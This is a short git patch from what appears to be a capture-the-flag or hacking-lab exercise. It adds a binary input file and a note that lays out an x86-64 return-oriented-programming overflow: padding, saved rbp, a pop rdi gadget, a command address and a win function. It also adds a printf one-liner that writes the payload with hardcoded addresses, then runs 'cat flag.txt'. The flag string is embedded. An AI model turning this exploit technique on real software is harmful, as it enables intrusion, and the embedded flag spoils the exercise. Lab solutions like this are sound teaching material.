From 88e79d5b14f88d6843e5a2872a758a3a0cf105ca Mon Sep 17 00:00:00 2001
From: Eggert Jung <eggert.s.jung@wischhof13.de>
Date: Mon, 5 Jan 2026 07:59:22 +0100
Subject: [PATCH] 3

---
 4/level3/input.txt | Bin 0 -> 127 bytes
 4/level3/test      |   7 +++++++
 2 files changed, 7 insertions(+)
 create mode 100644 4/level3/input.txt
 create mode 100644 4/level3/test

diff --git a/4/level3/input.txt b/4/level3/input.txt
new file mode 100644
index 0000000000000000000000000000000000000000..deb02dddcae814dd83a7937d57de37bb684cb719
GIT binary patch
literal 127
zcmc~uOwP_pOsXz7&Pg`NHI6Sah_A3Pi#IcgPpv4($u}%9DKX5?i}y4rbN4LEtgPiq
qBmgGd`~UxcJp;pGAqNH!;81|j(*z+jS8`&BLRwB@x?V{|2^Rn>iYYw+

literal 0
HcmV?d00001

diff --git a/4/level3/test b/4/level3/test
new file mode 100644
index 0000000..7f39288
--- /dev/null
+++ b/4/level3/test
@@ -0,0 +1,7 @@
+padding
+saved rbp
+gadget address (pop rdi, ret)
+command address (going to rdi)
+win function address (to be called with command addr in rdi as parameter)
+
+printf 'hacklab{w3lc0m3_t0_x86_64_explo1t4t1on_I0vGIviy}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\xc3\x12\x40\00\00\00\00\00\x08\x20\x40\00\00\00\00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt